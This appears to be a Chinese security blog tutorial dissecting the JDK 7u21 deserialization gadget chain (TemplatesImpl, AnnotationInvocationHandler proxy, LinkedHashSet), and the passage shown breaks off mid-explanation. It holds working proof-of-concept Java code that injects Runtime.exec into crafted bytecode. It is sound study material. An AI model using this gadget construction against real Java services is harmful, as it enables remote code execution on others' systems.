JDK反序列化Gadget 7u21

JDK反序列化Gadgets 7u21

预计阅读时间:30-60分钟
内容:具详细无比

前言

从fastjson1.24版本的反序列化利用方式知道有使用jdk7u21的版本利用链,ysoserial利用工具中也有7u21利用链。现在都是7u80版本了,这个漏洞真正直接利用,估计已经很难找到了。

但是这个利用链的构造有很多之前没接触过的java特性,就此好好学习一下,也算是fastjson的前置知识吧。

Gadgets 是啥意思?
其实就是利用链的意思

POC

先去Oracle官网下载漏洞jdk版本7u21,漏洞影响7u25之前的版本,整条链poc貌似只适用于7u21以前。

之所以说这是JDK反序列化链,是因为这个链中所有利用类都是jdk自带的类,其中payload最终关键类是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类

我们从ysoserial源码中抠出7u21的利用代码来分析,具体代码由于比较长,不全部在此贴出,只截取需要的部分,所有代码已上传github

jdk7u21.java是一个包含基础核心原理POC。(Gadgets类参考github,或者可以去ysoserial中取)

1
2
3
4
5
  
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}

请注意TemplatesImpl类的getOutputProperties函数是一个以get开头的函数,这是这个利用链在fastjson组件利用的关键。

跟踪getOutputProperties方法,来确认恶意TemplatesImpl类calc 需要的条件,先看调用栈:

调用栈1.png

newInstance

从调用栈中,可见最后是obj.newInstance(obj是虚指)触发poc执行恶意代码,调用栈再往下之后就是java class类的newInsatance内部实现了,不细纠。

newinstance实例化会默认触发执行static方法,构造方法代码,如下:

newInstance.png

所以我们的payload需要放在最后执行的恶意类的static或构造方法中。知道这点后,我们从头开始慢慢寻找其他需要条件。

跟入TemplatesImpl类getOutputProperties方法

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();//我们进入newTransformer方法
}
catch (TransformerConfigurationException e) {
return null;
}
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//此处没有啥限制条件,进入getTransletInstance()

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
//限制条件1:TemplatesImpl类中的_name变量!=null
if (_name == null) return null;
//限制条件2:TemplatesImpl类中的_class变量==null
if (_class == null) defineTransletClasses();//进入此处,查看其他限制条件

// 漏洞触发代码就是下面这一行,_transletIndex是在defineTransletClasses()中赋值的,其实就是选取了一个特定条件的class获取它的实例。
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...//这里之后的代码不重要,省略

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在漏洞代码执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();前,

先经过com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
private void defineTransletClasses()
throws TransformerConfigurationException {
//限制条件3:TemplatesImpl类中的_bytecodes变量!=null
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
//引入加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new
//限制条件4:TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法
// 即需要是一个TransformerFactoryImpl类
TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
//以下主要做的事情是通过加载器从_bytecodes中加载类至_class。(bytecodes可以是一个数组转换为一个数组class)
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
//转化。ClassLoader.defineClass() 会转载javabyte变为class类,但是不会执行static代码。
_class[i] = loader.defineClass(_bytecodes[i]);
//获取转过来的class的父类
final Class superClass = _class[i].getSuperclass();

// 对于读取进来的class的父类进行限制,满足条件才改变_transletIndex的值
// 之后将获取class[_transletIndex]的实例
// ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 限制条件5:_bytecodes的类必须是ABSTRACT_TRANSLET的子类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

_tfactory 与jdk版本

其中的限制条件4 _tfactory 这个参数是有说法的,在其他人博客中有存在对于 _tfactory 的参数的说明:

因为代码中存在 _tfactory.getExternalExtensionsMap() 所以需要 _tfactory 进行赋值 不能为null。

但其实这跟jdk版本是有关的,1.7下不同的jdk版本这段代码是不同的。

1.7u80版本的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses中就是存在_tfactory.getExternalExtensionsMap()这句代码的。

7u80的_tfactory.png

在1.7u80中,注释Gadgets类中添加 _tfactory这个字段的代码后(之后我们将详细分析Gadgets类),_tfactory=null就会发生null指针报错。

7u80报错.png

细心的同学可以注意到上面jdk1.7u80两个弹框成功不成功的下方都会null指针报错。

但是前者是在执行恶意代码AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();后
的translet.postInitialization();处报错。

而后者是在恶意代码执行之前的defineTransletClasses函数报错。即没有成功执行payload

在同样注释_tfactory这个字段的代码的情况下,使用jdk1.7u21的环境,却可以成功执行,因为jdk1.7u21的情况下并没有_tfactory.getExternalExtensionsMap()这句代码。

7u21的_tfactory.png

但是1.7u21也可以兼容给_tfactory赋值的情况,所以还是给 _tfactory 赋值比较好,可以兼容不同的版本。

TemplatesImpl恶意类的限制条件

至此总结我们构筑一个恶意的TemplatesImpl类,在调用这个恶意类的getOutputProperties方法时,需要满足的限制条件。即,构筑恶意TemplatesImpl类的需要条件。

  1. TemplatesImpl类的 _name 变量 != null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的 _bytecodes 变量 != null
  4. TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类
  5. TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  6. 我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。

构筑POC

回首漏洞原理的POC

1
2
3
4
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}

在分析完第二句触发漏洞的语句后。回来看第一句构筑。由于需要动态对于类结构进行操作,有使用到Javassist包

Gadgets是ysoserial自主构建的一个利用类,看其中的createTemplatesImpl方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();

// 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
// 满足条件5:恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
ClassPool pool = ClassPool.getDefault();//Javassist包中建立一个容器
//添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
//从Classpath中寻找自定义的恶意模板类StubTransletPayload,引入它,之后对它进行修改
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");
// 3.设置一个唯一性的class名称
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 4. 把我们的自定义的恶意类转化成byte数组模式
final byte[] classBytes = clazz.toBytecode();

// 4. 添加byte数组classBytes至_bytecodes字段,再添加一个另外准备的Foo类的字节(目前来看是多余的)
// 满足条件3:TemplatesImpl类的 `_bytecodes` 变量 != null
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});

// 5. 满足条件1:TemplatesImpl类的 `_name` 变量 != null
Reflections.setFieldValue(templates, "_name", "Pwnr");
// 6. 满足条件4:使TemplatesImpl类的_tfactory是一个拥有getExternalExtensionsMap()方法的类
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 没有设置_class,满足条件2:TemplatesImpl类的`_class`变量 == null
return templates;
}

瞅一眼StubTransletPayload类的继承。

1
2
3
4
5
6
7
8
9
10
//很优秀的按照要求继承了AbstractTranslet类
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
//以下看似是多余的,实际上是继承AbstractTranslet的必要,不然会报错。
//transform(DOM document, SerializationHandler[] handlers) 需要实现 AbstractTranslet 的一个虚拟类
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
//下面这个函数 需要实现AbstractTranslet类对应的Translet接口的一个接口
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

再瞅一眼往templates类的私有字段_bytecodes, _name , _tfactory 这些属性中塞数据的Reflections.setFieldValue方法。这里是通过反射机制修改私有属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);//获取了对应的字段后,进行赋值。
}
//Reflections#getField
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);//通过反射机制获取该字段
if (field != null)
field.setAccessible(true);//接触private限制
else if (clazz.getSuperclass() != null)
//判断父类,如果有父类,就获取父类的值,TemplatesImpl类没有父类,这里没用上。
field = getField(clazz.getSuperclass(), fieldName);
return field;
}

可以看到上面的Gadgets类完美符合了我们之前在利用过程中提到的全部需要条件。但是Gadgets构造的恶意TemplatesImpl类比起我们需要的POC条件多1处东西:

  1. _bytecodes多加了一个Foo.class类

我始终没有找到这个到底有啥用,去掉后实验,没有任何影响。如果有老哥知道,可以联系我,非常感谢。

payload位置static与构造函数

自己构造一波payload,再分析一个payload放置位置的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class jdk7u21_mine {
//从lala这个类中提取我们命令执行的字节码
public static class lala{

}
//步骤一 TemplatesImpl类
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//之前说的静态方法和构造方法均可,这边试一下构造方法
//cc.makeClassInitializer().insertBefore(cmd);
//这样可以直接添加构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{"+cmd+"}");
cc.addConstructor(cons);
//设置不重复的类名
String randomClassName = "LaLa"+System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
byte[] lalaByteCodes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{lalaByteCodes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Reflections.setFieldValue(templates,"_bytecodes",targetByteCodes);
Reflections.setFieldValue(templates,"_name","lala"+System.nanoTime());
Reflections.setFieldValue(templates,"_class",null);
Reflections.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

templates.getOutputProperties();
//一样可以触发
// templates.newTransformer();
}

以上需要注意一个情况,我们的恶意字节码类lala类,使用了static修饰符。其实我们payload写在构造函数中是可以不使用static修饰符不会影响。

但是如果我们想把payload写在static初始化块中,类就需要使用static修饰符时。不然最后实例化是不会成功的。

就相当于是以下的情况,内部类是不允许存在static修饰符的,原理可以参考

static问题.png

ps.突然发现非static方法块也是可以写payload…..但是不纠结这个了!!

至此我们完成了恶意Templates类构造以及TemplatesImpl.getOutputProperties触发点的分析(当然从上面的调用过程,我们知道直接调用TemplatesImpl.newTransformer()也是一样的,getOutputProperties其实就是调用了newTransformer(),在接下来的延长链中其实漏洞触发是在newTransformer)。

目前的结论已经可以移花接木到fastjson的利用链中形成一套完成利用链。以及其他很多组件的利用链的最后一步都是TemplatesImpl类(限于jdk1.7版本,1.8会编译错误,原因未知)。

但是就单独作为一条利用链来说,只有exp触发点和一点点长度的利用链是不够的,我们需要继续延伸到一个反序列化readObject点,使服务端一触发反序列化,就可以沿着利用链到exp触发点。

延长利用链——AnnotationInvocationHandler

AnnotationInvocationHandler这是一个熟悉的类,在commons-collections一文的1.7最基础的利用链中,我们正是使用了AnnotationInvocationHandler的readobject函数作为反序列化入口点。

然而这里跟AnnotationInvocationHandler的invoke函数有关。在这之前我们需要先了解java的动态代理性质。

动态代理

动态代理是java的特性之一,其实就可以理解为web应用中的拦截器,在执行正式代码之前先过一个拦截器函数(比如spring的AOP)。但是以上类比只是为了便于理解,实际上spring的AOP之类的拦截器反而是基于java的动态代理实现的。

下面将举例动态代理SubjectImpl类,即在SubjectImple类前面建立一个拦截器。

DynamicProxy.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

// 需要实现的接口(拦截动作是基于接口的,所以需要设定接口)
interface ISubject {
public void hello(String str);
}

// 实际的需要被代理的对象
class SubjectImpl implements ISubject {
public void hello(String str) {
System.out.println("SubjectImpl.hello(): " + str);
}
}

// Handler对象(继承InvocationHandler的拦截器)
//InvocationHandler是一个用于跟Proxy类对接的接口
class Handler implements InvocationHandler {
private Object subject;
//构造函数,传入被代理实现类的实例
public Handler(Object subject) {
this.subject = subject;
}
//所有被Proxy拦截的函数都会经过这个接口的invoke函数
public Object invoke(Object object, Method method, Object[] args) throws Throwable {
System.out.println("before!");
//完成拦截操作之后去调用被代理实现类,反射机制,传入实例,参数
method.invoke(this.subject, args);
System.out.println("after!");
return null;
}
}


public class DynamicProxy {
public static void main(String[] args) {
//被代理类
SubjectImpl subject = new SubjectImpl();
//拦截器实现类,通过构造函数传入被代理类的实例
InvocationHandler tempHandler = new Handler(subject);

// 使用Proxy.newProxyInstance创建代理
ISubject iSubject = (ISubject) Proxy.newProxyInstance(DynamicProxy.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
iSubject.hello("world!");
}
}

Proxy.newProxyInstance三个传入参数:

  • loader,选用的类加载器。感觉随便选就好了。
  • interfaces,被代理类所实现的接口,这个接口可以是多个。(即需要拦截的接口)
  • h,一个 实现拦截器的invocation handler。

之后只要我们调用了返回之后的对象中被安排了代理的接口,就会进入invocationHandler的invoke函数。

以上执行结果就是:

1
2
3
before!
SubjectImpl.hello(): world!
after!

那么动态代理大概就分为几个部分:

  1. 被代理的接口类
  2. 被代理的接口类的实现类
  3. 继承InvocationHandler接口、实现invoke方法的拦截器类
  4. Proxy.newProxyInstance完成拦截器,与被代理的接口类的绑定
  5. 调用这个返回对象的被代理接口即可。(此处注意这个返回的对象不是只有被代理的接口类中的接口,还有一些常用接口,之后会截图说明。)

我们说了那么多动态代理机制,是为啥呢?

1
2
3
4
5
6
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
//实现了InvocationHandler接口的invoke函数
public Object invoke(Object var1, Method var2, Object[] var3) {
...
}
}

其实就是因为AnnotationInvocationHandler类其实是一个InvocationHandler接口的实现类。它不只是在cc的利用链中作为反序列化点,还是作为动态代理的拦截器实现函数(有一个自己的invoke方法)

动态代理链接AnnotationInvocationHandler与Templates

我们的目的是连接代理后的对象Proxy的equal方法到Templates的newTransformer方法。

当建立动态代理后(Proxy.newInstance返回一个对象a),我们假设调用a.b(c)

先瞅一眼AnnotationInvocationHandler的构造函数有个底,我们可以知道有可控的this.type与this.memberValues

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}

bytheway,这里的AnnotationInvocationHandler构造函数是缺省修饰符,它在不同的包中是不能直接调用的。

反射机制中有说到,可以使用setAccessible(true)来开放权限。

调用a.b(c)。 sun.reflect.annotation.AnnotationInvocationHandler#invoke

1
2
3
4
5
6
7
8
9
10
11
12
//var1 当前的Proxy代理实例对象,即a.b(c)的a
//var2 当前调用的方法,即a.b(c)的b
//var3 当前调用方法的传入参数列表,即a.b(c)的c
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();//被调用方法名
Class[] var5 = var2.getParameterTypes();//获取传入参数类型列表
//如果调用的方法名是equals,传入一个参数,并且为Object类型,即a.equal((Object.class)c)
//此处的意思应该为判断a是否与传入的c完全相等。
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);//我们进入此处,传入的是a.b(c)中的c的第一个参数
} else {
...

sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//var1 a.b(c)的c
private Boolean equalsImpl(Object var1) {
// var1 若为AnnotationInvocationHandler类,就相等
if (var1 == this) {
return true;
// var1 应该为this.type的实例 (此处为一个要求)
// 此处意思应该是只能比较this.type中规定好的类是否完全一致
} else if (!this.type.isInstance(var1)) {
return false;
} else {
//如果是this.type(可控)中的类的实例的话
//就要开始获取this.type这个类中的所有方法
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
//去对应着遍历调用c对象中的Methods方法
//把结果与在构造函数中定义的this.memberValues做对比,若一样则判定相等
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];//遍历获取方法
String var6 = var5.getName();//获取方法名字
Object var7 = this.memberValues.get(var6);//获取我们控制的menberValues中的值
Object var8 = null;
//看看var1是不是也是一个代理类,如果是获取它的代理实现类(这里没用)
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
//不是代理类,进入此处
try {
var8 = var5.invoke(var1);//反射调用!!!!
//这里的意思就是 var1.var5()
//根据this.type类型遍历所有方法,调用传入参数var1中的所有对应方法。
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
//该函数原本的功能 需要比较下调用返回结果与预设值一样不。
if (!memberValueEquals(var7, var8)) {
return false;
}
}

equals方法会根据this.type类中的方法去遍历调用传入对象中的所有对应的方法。那么!

  1. 我们可以构筑一个AnnotationInvocationHandler类,构造函数中选择一个this.type,this.type这个类中需要包含我们要恶意执行的方法。

  2. 把这个AnnotationInvocationHandler类与随便什么接口进行绑定(因为我们需要调用的是equals,只要是一个Object对象就会有equals方法 maybe?)

    代理接口有equals.png

  3. 调用这个代理类的equals方法,同时給入恶意实例,就会遍历this.type这个类中的方法对恶意实例中的对应方法进行调用。唯一的缺点就是调用的方法不能传入参数。(因为var5.invoke(var1);只传入了对象,没有传入参数)

我们需要调用的是TemplatesImpl.newTransformer(),刚好这个方法不需要传入参数!

再是this.type=Templates.class,因为TemplatesImpl继承自Templates接口,并且它有我们要的方法,并且在第一个(为啥需要恰好又刚好在第一个,之后有说法)。

1
2
3
4
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}

给出poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) throws Exception {
//AnnotationInvocationHandler构造函数的this.memberValues
Map map = new HashMap();
//获取AnnotationInvocationHandler构造函数
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
//由于是缺省修饰符,不同的包,不能直接调用。允许调用
ctor.setAccessible(true);
//创建AnnotationInvocationHandler实例,this.type=Templates.class
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);
//Override是一个啥都没有的接口,这里用这个类,表示其实绑定啥都没关系
//在高版本的jdk中,在构造函数中对于type做了校验,如果要在高版本中构造payload,需要使用反射机制构筑。如果对方也是高版本的jdk(即经过了修复)那么我们构筑的InvocationHandler类也是因为构造方法通过不了而无法利用。具体我们在后面修复情况中说到。
//InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class,map);
//Reflections.setFieldValue(tempHandler, "type", Templates.class);
//有些地方POC写的是Templates.class类,其实没必要
Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);
//恶意类
final Object templates = Gadgets.createTemplatesImpl("calc");
//调用,执行`TemplatesImpl.newTransformer()`
proxy.equals(templates);
}

this.type的讲究

为啥this.type需要选用类中第一个方法是我们需要调用的方法的类呢?

因为不是的话,就需要考虑更多,比如报错退出。可以看到在执行完我们的payload后是会报错退出的,当然这对我们paylaod的执行没有影响。

newTransformer执行的命令.png

但是假如我们需要调用的方法不在第一个,而前面是一个需要参数的方法,就会因为没有传入参数而报错退出。(比如我们把Templates.class改成TemplatesImpl.class)

TemplatesImple_type报错.png

如果我们需要调用的方法前面有一些其他方法,但是都是不需要参数的,我们还需要构造this.memberValues,让前面这些函数的返回值与this.menberValues里面一致才不会返回false退出。就会有一串的麻烦(目前来看这样也是可行的,但是假如这里真的改了this.memberValues之后LinkedHashSet那关就过不去了!实际上我们只能且必须要找到一个第一个方法是能够代码执行的方法!)

所幸我们可以找到一个Templates类,它进行代码执行的方法是第一个,万幸。

进一步延伸至LinkedHashSet

接下来需要触发proxy.equals(templates),这种a.equals(b)的形式。a是我们构建的动态代理返回对象,b是恶意TemplatesImpl类。

LinkedHashSet类继承自Hashset,具有Hashset的全部特点:元素不重复,快速查找,快速插入。新增的特性是有序,数据结构上使用双向链表实现。(之所以用LinkedHashSet就是因为其有序的特性,后面会说到为什么需要有序)

LinkedHashSet.java

1
2
3
4
5
6
7
8
9
10
11
public class LinkedHashSet<E>
extends HashSet<E>
implements Set<E>, Cloneable, java.io.Serializable {
...
//给一个我们要用到的构造函数
public LinkedHashSet() {
super(16, .75f, true);//进去这里看看
}
//LinkedHashSet这个类其实根本没有自己实现过类,只有四个构造函数,实际上使用LinkedHashMap实现有序功能的
...
}

super就进入HashSet了,HashSet.java:

1
2
3
HashSet(int initialCapacity, float loadFactor, boolean dummy) {
map = new LinkedHashMap<>(initialCapacity, loadFactor);//可以看到使用LinkedHashMap创建了有序集合
}

具体是如何实现这个集合的,我们就不纠结了。我们需要通过LinkedHashSet连接writeObject序列化与readObject反序列化这个利用链入口至a.equals(b)这个我们之前得到的触发点。

先看LinkedHashSet的序列化与反序列化。LinkedHashSet获取的是LinkedHashMap的实例,而LinkedHashMap又继承自HashSet,所以最终的序列化与反序列化就是在HashSet类中。

我们跟着反序列化触发链来看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//我们构造payload,最终调用writeObject 
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// 序列化任何隐藏的序列化魔术(不懂什么骚操作)
s.defaultWriteObject();

// 序列化map的容量与加载器
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());

// 序列化map的大小
s.writeInt(map.size());

// 遍历序列化每一个map中的元素
for (E e : map.keySet())
s.writeObject(e);
}

//在服务端触发payload,最先触发的函数。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 反序列化任何隐藏的序列化魔术(不懂什么骚操作)
s.defaultReadObject();

// 反序列化HashMap容量和加载器并创建备份HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// 反序列化map的大小
int size = s.readInt();

// 遍历反序列化每一个map的元素,并把他们加入到map中
for (int i=0; i<size; i++) {
E e = (E) s.readObject();//获取我们每一个map元素
map.put(e, PRESENT);//重新放入map中,我们进入此处,就是出在这里。
//e为我们map的元素,present是一个常量,就是一个新的object对象
}
}

java.util.HashMap#put

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//这个key,就是我们传入的元素,value是一个固定值木有用。
public V put(K key, V value) {
//key不能为null
if (key == null)
return putForNullKey(value);
//计算key的hash值
int hash = hash(key) ;
int i = indexFor(hash, table.length);
// 遍历已有的元素
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
//本意是判断最新的元素是否已经存在的元素
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
//如果是已经存在的元素,就返回已经存在的value。不插入。
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
//如果不是已经存在的元素,就插入到table中
addEntry(hash, key, value, i);
return null;
}

我们专注于if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {这句语句。(e为前一个元素,key为当前元素)

可以看到key.equals(k)符合我们前面说到的a.equals(b)的格式。在只有两个元素的情况下,k为有序集合中第一个元素,key为第二个元素。

即我们需要一个有序集合{templates,proxy}才能满足proxy.equals(templates)这一句触发语句。

这也就是为什么需要有序集合的原因,如果是普通集合,不会一定会符合这个a.equals(b)的顺序

由于这里代码(e.hash == hash && ((k = e.key) == key || key.equals(k)))调用第三个语句就需要满足条件

  • e.hash == hash:templates的hash == proxy的hash
  • (k = e.key) != key :templates(就是k) != proxy(就是key)(我们需要||左边这个表达式不满足,才会执行右边的漏洞触发函数key.equals(k)。这是||的特性,执行到一个为true的,后面的表达式就不执行了)

因为templates和proxy完全是两个不同的对象。所以第二个条件满足。

但是第一个条件需要hash相同,如果不是偷看答案的小白(我自己)肯定会突然僵住,特么这咋可能hash相等,当场直接gg。实际上套路还是很深。看hash是如何生成的

java.util.HashMap#hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}

h ^= k.hashCode();//惊为天人的调用了我们传入的对象k的hashCode函数,也就是说我们有可能可以对于hash值进行一定的操控
//接下来又是一些骚操作
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

我们传入的obj有TemplatesImpl类,但是这个类中没有自实现hashcode方法。

有Proxy对象(进入AnnotationInvocationHandler拦截器实现类),proxy.hashCode会先进入AnnotationInvocationHandler的invoke拦截器。(跟equals一样一样的,任何函数都会先进入invoke方法)

sun.reflect.annotation.AnnotationInvocationHandler#invoke

1
2
3
4
5
6
7
8
9
10
11
12
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);//我们之前payload触发在这
} else {
assert var5.length == 0;

if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {//往下看!这个可爱的invoke实现上对于hashCode这个函数还是有独特处理的!!!!
return this.hashCodeImpl();//进去看看

sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl

1
2
3
4
5
6
7
8
9
10
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}

这边写的贼复杂,改成简单点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
//this.memberValues是我们构造AnnotationInvocationHandler时,可控的那个map
Iterator var2 = this.memberValues.entrySet().iterator();//获取遍历器
